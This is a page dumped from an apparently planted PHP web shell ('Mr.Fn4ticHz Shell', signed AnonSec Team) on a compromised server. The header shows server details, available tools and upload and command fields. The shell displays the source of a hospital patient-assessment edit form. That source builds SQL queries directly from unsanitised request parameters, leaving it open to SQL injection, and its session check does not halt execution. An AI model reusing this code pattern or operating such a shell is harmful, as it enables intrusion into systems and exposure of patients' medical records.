Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 18.223.170.223
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/NewNurse/Patient/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in/NewNurse/Patient/edit_Post_Operative_Assessment.php
<?php
session_start();
require_once("../../dbconnection.php");
require_once('../../../DBManager.php');
require_once('../../../LoginManager.php');


if(!isset($_SESSION['uname']))
{
	echo "<script>alert('Session Expired..');</script><script>window.location='../index.php';</script>";
}

$title='Edit Post Confirmation Sheet';
$narayan=LoginManager::currentUser();
$harilal=LoginManager::getUserTypeByuname("$narayan");
$sql ="SELECT * FROM site_users WHERE userno='$harilal'";
		$qsql = mysqli_query($con,$sql);
		$rs = mysqli_fetch_array($qsql);
		
if(isset($_POST['post_Confirmation_Sheet'])) 
{
   date_default_timezone_set("Asia/Calcutta");   //India time (GMT+5:30)
$updated_at= date('d-m-Y H:i:s');
$sql ="UPDATE post_Confirmation_Sheet SET  verify_pt_identity='$_POST[verify_pt_identity]',name_tag='$_POST[name_tag]',consent_form_signed='$_POST[consent_form_signed]',Operation_consent='$_POST[Operation_consent]',operative_assessment='$_POST[operative_assessment]',Medical_fitness='$_POST[Medical_fitness]',Last_meal='$_POST[Last_meal]',Allergy_noted='$_POST[Allergy_noted]',reports_checked='$_POST[reports_checked]',updated_at='$_POST[created_at]' WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]' AND surgeryid='$_GET[surgeryid]'";
$sql1 ="UPDATE save_activity SET created_at='$_POST[created_at]',updated_at='$updated_at'  WHERE prescriptionid='$_GET[prescriptionid]' AND userno='$_GET[patientid]' ";
if($qsql = mysqli_query($con,$sql))
		{
		    if($qsql = mysqli_query($con,$sql1))
		    {
    echo "<script>alert('Update successfully');</script><script>window.history.go(-2)</script>;</script>";
  } 
  }else {
    echo "Sorry, there was an error uploading your file.";
  } 
   
  
}
$sql ="SELECT * FROM post_Confirmation_Sheet WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'AND surgeryid='$_GET[surgeryid]'";
		$qsql = mysqli_query($con,$sql);
		$row=$qsql->fetch_assoc();


  ?> 

<!DOCTYPE html>
<html lang="en">
<head>
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" />
<meta charset="utf-8" />
<title><?php echo $title; ?></title>

<meta name="description" content="Common form elements and layouts" />
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0" />

<!-- bootstrap & fontawesome -->
<link rel="stylesheet" href="../assets/css/bootstrap.min.css" />
<link rel="stylesheet" href="../assets/font-awesome/4.5.0/css/font-awesome.min.css" />

<!-- page specific plugin styles -->
<link rel="stylesheet" href="../assets/css/jquery-ui.custom.min.css" />
<link rel="stylesheet" href="../assets/css/chosen.min.css" />
<link rel="stylesheet" href="../assets/css/bootstrap-datepicker3.min.css" />
<link rel="stylesheet" href="../assets/css/bootstrap-timepicker.min.css" />
<link rel="stylesheet" href="../assets/css/daterangepicker.min.css" />
<link rel="stylesheet" href="../assets/css/bootstrap-datetimepicker.min.css" />
<link rel="stylesheet" href="../assets/css/bootstrap-colorpicker.min.css" />

<!-- text fonts -->
<link rel="stylesheet" href="../assets/css/fonts.googleapis.com.css" />

<!-- ace styles -->
<link rel="stylesheet" href="../assets/css/ace.min.css" class="ace-main-stylesheet" id="main-ace-style" />

<!--[if lte IE 9]>
<link rel="stylesheet" href="../assets/css/ace-part2.min.css" class="ace-main-stylesheet" />
<![endif]-->
<link rel="stylesheet" href="../assets/css/ace-skins.min.css" />
<link rel="stylesheet" href="../assets/css/ace-rtl.min.css" />

<!--[if lte IE 9]>
<link rel="stylesheet" href="../assets/css/ace-ie.min.css" />
<![endif]-->

<!-- inline styles related to this page -->

<!-- ace settings handler -->
<script src="../assets/js/ace-extra.min.js"></script>

<!-- HTML5shiv and Respond.js for IE8 to support HTML5 elements and media queries -->

<!--[if lte IE 8]>
<script src="../assets/js/html5shiv.min.js"></script>
<script src="../assets/js/respond.min.js"></script>
<![endif]-->
</head>

<body class="no-skin">
<?php include('../includes/header.php'); ?>

<div class="main-container ace-save-state" id="main-container">
<script type="text/javascript">
try{ace.settings.loadState('main-container')}catch(e){}
</script>

<div id="sidebar" class="sidebar                  responsive                    ace-save-state">
<script type="text/javascript">
try{ace.settings.loadState('sidebar')}catch(e){}
</script>

<!-- /.sidebar-shortcuts -->

	<?php include('top-header-icon.php'); ?>

				<?php include('includes/sidebar.php'); ?><!-- /.nav-list -->

<div class="sidebar-toggle sidebar-collapse" id="sidebar-collapse">
<i id="sidebar-toggle-icon" class="ace-icon fa fa-angle-double-left ace-save-state" data-icon1="ace-icon fa fa-angle-double-left" data-icon2="ace-icon fa fa-angle-double-right"></i>
</div>
</div>

<div class="main-content">
<div class="main-content-inner">
<div class="breadcrumbs ace-save-state" id="breadcrumbs">
<ul class="breadcrumb">
<li>
<i class="ace-icon fa fa-home home-icon"></i>
<a href="#">Home</a>
</li>


<li class="active"><?php echo $title; ?></li>
</ul><!-- /.breadcrumb -->

<div class="nav-search" id="nav-search">
<form class="form-search">
<span class="input-icon">
<input type="text" placeholder="Search ..." class="nav-search-input" id="nav-search-input" autocomplete="off" />
<i class="ace-icon fa fa-search nav-search-icon"></i>
</span>
</form>
</div><!-- /.nav-search -->
</div>

<div class="page-content">
	<div class="ace-settings-container" id="ace-settings-container">
							<div class="btn btn-app btn-xs btn-warning ace-settings-btn" id="ace-settings-btn">
								<i class="ace-icon fa fa-file-text-o bigger-130"></i>
							</div>

							<?php include("incident_sidebar.php"); ?><!-- /.ace-settings-box -->
						</div>
<div class="page-header">
<h1>
 
<small>
<i class="ace-icon fa fa-angle-double-right"></i>
<?php echo $title; ?>
</small>
</h1>
</div><!-- /.page-header -->

<div class="row">
<div class="col-xs-12">
    
    
    
    
 <div class="panel panel-primary">
               
    <div class="panel-body">
      <h4 class="text-on-pannel text-primary"><strong class="text-uppercase">Post Confirmation Sheet
 </strong></h4>
   
<!-- PAGE CONTENT BEGINS -->
 <form name="post_Confirmation_Sheet" method="post" >
             
<table id='example2' class='table table-bordered table-hover'>
 <input  type='hidden' value='<?php echo $row[updated_at] ?>' name='created_at' >
          <?php 
		$sql ="SELECT * FROM post_Confirmation_Sheet WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'AND surgeryid='$_GET[surgeryid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
		    echo"
 <tr>
    <td width='25%'>";
      if($rs[verify_pt_identity] == 'on'){
    echo "<input type='checkbox' name='verify_pt_identity' checked>";
} else{
    echo "<input type='checkbox' name='verify_pt_identity' >";
} 
echo"</td> <td width='25%'><span style='font-size: 17px;'>Verify Patient Identity	</span></td>
 
     <td width='25%'>    ";
     if($rs[name_tag] == 'on'){
    echo "<input type='checkbox' name='name_tag' checked>";
    }
    else
    {
         echo "<input type='checkbox' name='name_tag'>";
        }
        echo"</td> <td width='25%'><span style='font-size: 17px;'>Name Tag	</span></td>
     </tr>
     
       <tr>
       <td width='25%'>    ";
     if($rs[consent_form_signed] == 'on'){
    echo "<input type='checkbox' name='consent_form_signed' checked>";
    }
    else
    {
         echo "<input type='checkbox' name='consent_form_signed'>";
        }
        echo"</td> <td width='25%'><span style='font-size: 17px;'>Consent Form Signed</span>
     </td> <td width='25%'>    ";
     if($rs[Operation_consent] == 'on'){
    echo "<input type='checkbox' name='Operation_consent' checked>";
    }
    else
    {
         echo "<input type='checkbox' name='Operation_consent'>";
        }
        echo"</td> <td width='25%'><span style='font-size: 17px;'>Operation Consent</span></td>
     </tr>
     <tr>
      
      <td width='25%'>    ";
     if($rs[operative_assessment] == 'on'){
    echo "<input type='checkbox' name='operative_assessment' checked>";
    }
    else
    {
         echo "<input type='checkbox' name='operative_assessment'>";
        }
        echo"</td> <td width='25%'><span style='font-size: 17px;'>Operative Assessment</span></td>
       
   <td width='25%'>    ";
     
     if($rs[Medical_fitness] == 'on'){
    echo "<input type='checkbox' name='Medical_fitness' checked>";
    }
    else
    {
         echo "<input type='checkbox' name='Medical_fitness'>";
        }
        echo"</td> <td width='25%'><span style='font-size: 17px;'>Medical Fitness</span></td>
       </tr> 
          <tr>
       <td width='25%'>    ";
     if($rs[Last_meal] == 'on'){
    echo "<input type='checkbox' name='Last_meal' checked>";
    }
    else
    {
         echo "<input type='checkbox' name='Last_meal'>";
        }
        echo"</td><td width='25%'><span style='font-size: 17px;'>Last Meal</span></td>
 <td width='25%'>    ";
     if($rs[Allergy_noted] == 'on'){
    echo "<input type='checkbox' name='Allergy_noted' checked>";
    }
    else
    {
         echo "<input type='checkbox' name='Allergy_noted'>";
        }
        echo"</td> <td width='25%'><span style='font-size: 17px;'>Allergy Noted</span></td>
       </tr> 
         <tr>
  <td width='25%'>    ";
     if($rs[reports_checked] == 'on'){
    echo "<input type='checkbox' name='reports_checked' checked>";
    }
    else
    {
         echo "<input type='checkbox' name='reports_checked'>";
        }
        echo"</td> <td width='25%'><span style='font-size: 17px;'>Reports Checked</span></td>
         ";
     echo"
</tr>
";
}
?>
<tr>
    <td colspan='4'>
        <input type='submit' name='post_Confirmation_Sheet' value='Submit' class="btn btn-info">
    </td>
</tr>
</table>


    </form>
</div></div>
</div><!-- /.col -->
</div><!-- /.row -->
</div><!-- /.page-content -->
</div>
</div><!-- /.main-content -->

<?php include('../includes/footer.php'); ?>

<a href="#" id="btn-scroll-up" class="btn-scroll-up btn btn-sm btn-inverse">
<i class="ace-icon fa fa-angle-double-up icon-only bigger-110"></i>
</a>
</div><!-- /.main-container -->

<!-- basic scripts -->

<!--[if !IE]> -->
<script src="../assets/js/jquery-2.1.4.min.js"></script>

<!-- <![endif]-->

<!--[if IE]>
<script src="../assets/js/jquery-1.11.3.min.js"></script>
<![endif]-->
<script type="text/javascript">
if('ontouchstart' in document.documentElement) document.write("<script src='../assets/js/jquery.mobile.custom.min.js'>"+"<"+"/script>");
</script>
<script src="../assets/js/bootstrap.min.js"></script>

<!-- page specific plugin scripts -->

<!--[if lte IE 8]>
<script src="../assets/js/excanvas.min.js"></script>
<![endif]-->
<script src="../assets/js/jquery-ui.custom.min.js"></script>
<script src="../assets/js/jquery.ui.touch-punch.min.js"></script>
<script src="../assets/js/chosen.jquery.min.js"></script>
<script src="../assets/js/spinbox.min.js"></script>
<script src="../assets/js/bootstrap-datepicker.min.js"></script>
<script src="../assets/js/bootstrap-timepicker.min.js"></script>
<script src="../assets/js/moment.min.js"></script>
<script src="../assets/js/daterangepicker.min.js"></script>
<script src="../assets/js/bootstrap-datetimepicker.min.js"></script>
<script src="../assets/js/bootstrap-colorpicker.min.js"></script>
<script src="../assets/js/jquery.knob.min.js"></script>
<script src="../assets/js/autosize.min.js"></script>
<script src="../assets/js/jquery.inputlimiter.min.js"></script>
<script src="../assets/js/jquery.maskedinput.min.js"></script>
<script src="../assets/js/bootstrap-tag.min.js"></script>

<!-- ace scripts -->
<script src="../assets/js/ace-elements.min.js"></script>
<script src="../assets/js/ace.min.js"></script>

<!-- inline scripts related to this page -->
<script>
document.getElementById('btn').addEventListener("click", function(){
this.classList.add("loading");
this.innerHTML = "Loading...";
});
</script>


<style>
    .text-on-pannel {
  background: #fff none repeat scroll 0 0;
  height: auto;
  margin-left: 20px;
  padding: 3px 5px;
  position: absolute;
  margin-top: -47px;
  border: 1px solid #337ab7;
  border-radius: 8px;
  
}

.panel {
  /* for text on pannel */
  margin-top: 27px !important;
}

.panel-body {
  padding-top: 30px !important;
  
}

.panel-primary {
    
    border-color: #116bb9;
}

.donate-now {
     list-style-type:none;
     margin:25px 0 0 0;
     padding:0;
}

.donate-now li {
     float:left;
     margin:0 5px 0 0;
}

.donate-now label {
     padding:5px;
     border:1px solid #CCC; 
     cursor:pointer;
}

.donate-now label:hover {
     background:#DDD;
}
</style>	

</body>
</html>

Anon7 - 2022
AnonSec Team